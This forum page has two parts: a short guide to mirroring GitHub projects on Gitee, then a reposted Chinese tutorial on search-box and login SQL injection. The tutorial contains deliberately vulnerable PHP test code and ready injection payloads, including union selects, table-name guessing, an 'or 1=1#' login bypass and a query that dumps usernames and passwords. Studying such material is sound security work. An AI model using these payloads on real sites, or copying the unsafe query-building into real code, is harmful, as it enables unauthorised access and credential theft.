          使用github的都知道,它的服务器是外国的。虽然没有被墙,但是在上边下载的速度依然慢的感人。于是呢,我在网上遨游了很久终于找到了解决的方法,具体是什么,待我在下边娓娓道来。总之方法很简单了。
 
0X03  搬运方法
        1、 在登录自己的github账号以后,找到自己想要搬运的项目。
        2、 在想要搬运项目上边,找到“Fork”,然后点击一下它。这里我以K8的项目为例。
Fork.png

        3、 在开源中国的码云上边,导入github上你fork的项目。
1.png


2.png

然后在第一次导入的时候,它会跟你的github账号相关联,你需要登录一下。在登录以后,你就可以看到github上fork的项目,然后选择项目导入就可以了。如下图所示:
3.png

 
 
0X04    总结
        导入的过程还是很简单的,只要愿意动手都可以完成。希望以上内容可以帮助到大家!
 
 
 

【转】SQL注入--搜索型

main 发表了文章 • 0 个评论 • 226 次浏览 • 2019-05-05 16:25 • 来自相关话题

一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理$sql="select * from user where password like '%$pwd%' order by password"; 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:select * from user where password like '%fendo'and 1=1 and '%'='%' order by password存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
 
 三、搜索型注入实战


1)GET型注入
 
测试源码: <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
 
1.判断字段数

语句:%' union select 1,2,3,4,...... and '%'='





还有种方法
语句: %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 






2.判断表名

语句:%'and(select count(*)from admin)>0 and '%'='





把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:<?

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>






1.判断是否存在SQL注入

用PHP万能密码进行测试' or 1=1#







在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数' order by 4#





逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名'or 1=1 union select 1,2,3,4 #





逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容




'or 1=1 union select username,password,3,4 from user#
 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482 查看全部
一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理
$sql="select * from user where password like '%$pwd%' order by password";
 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了


下面这几种语句都可以:
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

 
 三、搜索型注入实战


1)GET型注入
 
测试源码:
    <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>

 
1.判断字段数

语句:
%' union select 1,2,3,4,...... and '%'='

1.jpg


还有种方法
语句:
  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 
2.jpg



2.判断表名

语句:
%'and(select count(*)from admin)>0 and '%'='

3.jpg


把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

4.jpg



1.判断是否存在SQL注入

用PHP万能密码进行测试
' or 1=1#  

5.jpg




在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数
' order by 4#  

6.jpg


逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名
'or 1=1 union select 1,2,3,4 #  

7.jpg


逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容

8.jpg
'or 1=1 union select username,password,3,4 from user#   

 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482